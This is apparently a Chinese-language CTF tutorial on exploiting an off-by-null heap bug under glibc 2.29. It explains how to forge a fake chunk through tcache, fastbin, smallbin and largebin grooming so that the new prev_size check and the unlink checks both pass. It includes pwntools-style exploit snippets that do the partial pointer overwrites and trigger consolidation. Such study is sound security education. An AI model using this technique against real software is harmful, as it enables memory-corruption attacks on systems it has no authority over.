2.29下的off-by-null

△相比2.29之前的版本中,在向上合并时加了一项检查:

1
2
3
4
#注释头

if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");

就是检查上一个chunk的size是否等于当前chunk的pre_size。之前的off-by-null肯定是不等于的啊,所以这里就一定会出错。那么2.29的绕过方法就是通过smallbin和largebin来伪造一个chunk,满足:

1
2
3
4
5
#注释头

①fake_chunk->fd->bk == fake_chunk_addr
②fake_chunk->bk->fd == fake_chunk_addr
③fake_chunk->size = trigger_chunk->pre_size

其中③用来过新增加的检查:

1
2
3
4
#注释头

if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");

①和②用来过unlink中的检查:

1
2
3
4
#注释头

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

这样就能够成功off-by-null了,图示如下(用了t1an5g的博客的图片,侵删):

img

1.下面简单说下流程:

(1)进行一定的堆布局,使得起作用的chunk的堆地址为0xx…x0010,同时也方便计算偏移,从而进行低位字节覆盖。

(2)通过largebin的fd_nextsize指针和bk_nextsize指针,加上字节覆盖使得fake_chunk的fd指针指向指定FD(即下面的chunk18),fake_chunk的bk指针指向指定BK(即下面的chunk17)。

(3)通过fastbin和smallbin的连用,加上字节覆盖使得FD(chunk18)的bk指针指向fake_chunk。

(4)通过fastbin加上字节覆盖使得BK(chunk17)的fd指针指向fake_chunk。

(5)进行完以上操作就得到类似上图的堆布局,之后就可以绕过检查,触发off-by-null。

2.详细介绍一下具体实现方法:

(1)先申请17个chunk,chunk0-chunk16,其中chunk0-chunk7用来进行堆布局,使得后面的chunk15的地址为0xx..x0010,即使得申请的堆地址的第二个字节为”\x00”,以便之后覆盖的时候不用进行一字节爆破,从而进行对抗off-by-null的0字节溢出。当然,如果条件限制的话, 其实是可以不用chunk0-chunk7的布局,用一字节爆破来解决问题。chunk8-chunk14大小为0x28,用来填充0x30大小的tcache。chunk15即关键部分,chunk16防止合并。

(2)释放chunk15,size应该大于tcache的最大size,这里的chunk15最好设置大一点,大佬的博客设置了0xb20大小。然后chunk15就会进入unsortedbin中,由于unsortedbin中只有一个chunk15,所以chunk15的指针会有以下效果:

1
2
3
4
#注释头

chunk15->fd == main_arena+88(unsortebin_addr)
chunk15->bk == main_arena+88

(3)申请一个0x28大小的chunk17,同时由于此时bin中没有chunk,只有Unsortedbin才有chunk15,所以会将chunk15先放入largebin中,之后再从chunk15中切割,返回chunk17,所以此时chunk15在largebin中,又只有它一个chunk,由于放入largebin的赋值语句,所以在切割之前会变成:

1
2
3
4
5
6
#注释头

chunk15->fd == largebin_addr
chunk15->bk == largebin_addr
chunk15->fd_nextsize == chunk15_addr
chunk15->bk_nextsize == chunk15_addr

切割之后,chunk17获得了chunk15残留下来的fd,bk,fd_nextsize,bk_nextsize。因为chunk17是用来构造fake_chunk的,所以大小需要至少有0x20。那么此时的chunk17中内容就会如下:

1
2
3
4
5
6
#注释头

chunk17->fd == largebin_addr
chunk17->bk == largebin_addr
chunk17->fd_nextsize == chunk17_addr
chunk17->bk_nextsize == chunk17_addr

然后构造在chunk17里制作fake_chunk,满足:

1
2
3
4
5
#注释头

fake_chunk->size == trigger_chunk->pre_size
fake_chunk->fd == chunk18_addr
fake_chunk->bk == chunk17_addr

这里需要进行赋值:

1
2
3
4
#注释头

chunk17->fd = trigger_chunk->pre_size
chunk17->fd_nextsize = "\x40"

(后面会讲到为什么会这么赋值)之后的fake_chunk的bk自动继承了之前残留下来的指针。

(4)申请chunk18-chunk21,大小为0x28。使得chunk18-chunk21都是从chunk15中切割出来的,之后用chunk8-chunk14填满0x30的tcache,然后再顺序释放chunk20和chunk18,使得chunk18,chunk20进入fastbin(0x30)中,顺序为chunk18->chunk20。

(5)将chunk8-chunk14申请出来,清空tcache(0x30),然后再申请一个0x400大小的chunk(超过smallbin大小即可),这样就会将fastbin中的chunk,也就是chunk18和chunk20放入到smallbin中。由于smallbin和fastbin刚好相反,一个是FIFO一个是FILO,所以顺序会反过来,变成:chunk20->chunk18,但同时由于是bk寻址,所以再申请chunk会先把chunk18取出来,同时在smallbin中,那么就会满足chunk18->bk == chunk20_addr

(6)此时赋值chunk18->bk = fake_chunk_addr,这里不用知道堆地址,因为我们知道chunk20_addr - fake_chunk_addr == 0x80(sizeof(fake_chunk)+sizeof(chunk18)+sizeof(chunk19))。所以之前chunk0-chunk7就可以进行一些大小布局,使得chunk15_addr == 0xx…x0010,那么fake_chunk_addr == 0xx…x0020,chunk20_addr == 0xx…x00a0,这样我们就只需要把0xa0覆盖成0x20,也就是修改chunk18->bk的第一个字节为0x20即可。但同时由于off by null的关系,修改chunk18->bk的第一个字节势必会导致第二个字节为”\x00”,所以我们之前的堆布局也要使得chunk15_addr的第二个字节为”\x00”才可以。

那么现在也可以理解之前的一个赋值语句:chunk17->fd_nextsize = “\x40”,这里就是为了将”\x10”覆盖为”\x40”使其指向chunk18,同时使得第二个字节也为”\x00”。

这样就满足了:

1
2
3
4
5
6
7
#注释头

fake_chunk->size == trigger_chunk->pre_size
fake_chunk->fd == chunk18_addr
fake_chunk->bk == chunk17_addr
chun18->bk == fake_chunk_addr
chunk17->fd == chunk18_addr

但是chunk17->fd不等于fake_chunk_addr。那么同样的操作再来一次,利用chunk17和chunk19,使其进入fastbin,将chunk17的fd指向chunk19,然后再申请回来,覆盖chunk17的fd指针,0x70覆盖为0x20即可。(由于2.29下的tcache会有key字段,使得chunk17的bk指针被修改,相当于修改fake_chunk的size位,这不是我们想看到的,所以还是用fastbin比较好)流程如下:

①将chunk20从tcache中申请出来,防止之后不好操作,然后再将chunk8-chunk14放入tcache中,使得之后的chunk进入fastbin。

②顺序释放chunk19,chunk17,使其进入fastbin中,使得chunk17->fd == chunk19_addr,就是0xx…x70。

③然后将chunk8-chunk14申请回来,再将chunk17申请回来,覆盖chunk17的fd的第一个字节为0x20,那么就可以满足总的条件:

1
2
3
4
5
6
7
#注释头

fake_chunk->size == trigger_chunk->pre_size
fake_chunk->fd == chunk18_addr
fake_chunk->bk == chunk17_addr
chunk18->bk == fake_chunk_addr
chunk17->fd == fake_chunk_addr

(7)最后将chunk19申请回来,再从chunk15剩下的部分申请chunk22用来溢出。再申请chunk23将chunk15遗留的部分都申请回来,溢出之后释放掉,即可触发off by null,向上合并最初的chunk15-0x10大小的chunk,使得fake_chunk,chunk18,chunk19,chunk20,chunk21,chunk22,chunk23都被置入unsortedbin中。利用chunk8-chunk14对抗tcache,就可以随便玩了。(注意这里不需要像之前版本的off by null一样,还需要释放掉chunk0来绕过unlink检查,之前是因为不检查size位,所以直接释放掉即可。这里的fake_chunk已经替代了chunk0的作用,能够绕过Unlink的检查和size位的检查)

3.最后模拟一下代码,同样参考了大佬t1an5g的博客

(1)前期准备加堆布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#注释头

for i in range(7): # 0-6
add(0x1000, "padding")
add(0x1000-0x410, "padding") # 7

for i in range(7): # 8-14
add(0x28, 'tcache')

#crux chunk15
add(0xb20, "largebin") # 15

#prevent merge
add(0x10, "padding") # 16

(2)制作fake_chunk,利用largebin踩下fd_nextsize和bk_nextsize:

1
2
3
4
5
6
7
8
9
#注释头

delete(15)

#chunk15 to largebin
add(0x1000, '\n')

#make fake_chunk in chunk17
add(0x28, p64(0) + p64(0x521) + p8(0x40))

(3)联动fastbin和smallbin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#注释头

add(0x28, 'a') # 18
add(0x28, 'b') # 19
add(0x28, 'c') # 20
add(0x28, 'd') # 21

# fill in tcache(0x30)
for i in range(7): # 8-14
delete(8 + i)

delete(20)
delete(18)

# clear tcache(0x30)
for i in range(7): # 8-14
add(0x28, 'padding')

# fastbin to smallbin
add(0x400, 'padding')

# get chunk18 from smallbin ,chunk20 to tcache
# change chunk18->bk to point to fake_chunk
add(0x28, p64(0) + p8(0x20))

(4)利用fastbin修改chunk17->fd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

# clear chunk from tcache
add(0x28, 'clear') # 20 from tcache

for i in range(7): # 8-14
delete(8 + i)

# free to fastbin
delete(19)
delete(17)

for i in range(7): # 8-14
add(0x28, '\n')

# change chunk17->fd to point to fake_chunk
add(0x28, p8(0x20))

(5)触发off-by-null:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

add(0x28, "clear")#19 from fastbin

add(0x28, "a") # 22 cutting from chunk15 in unsortebin,for overwrite
add(0x5f8, "a") # 23 legacy from chunk15 in unsortebin,for trigger off-by-null
add(0x100, "padding") # 24

# off-by-null
edit(22, "a"*0x20 + p64(0x520))

# trigger
delete(23)

△以上的chunk索引对于题目具体分析,不同题目对索引的处理肯定不一样。

其实还有其他只利用unsortedbin和largebin的绕过,贴一下地址:

https://www.anquanke.com/post/id/236078#h3-14

后面再来啃吧。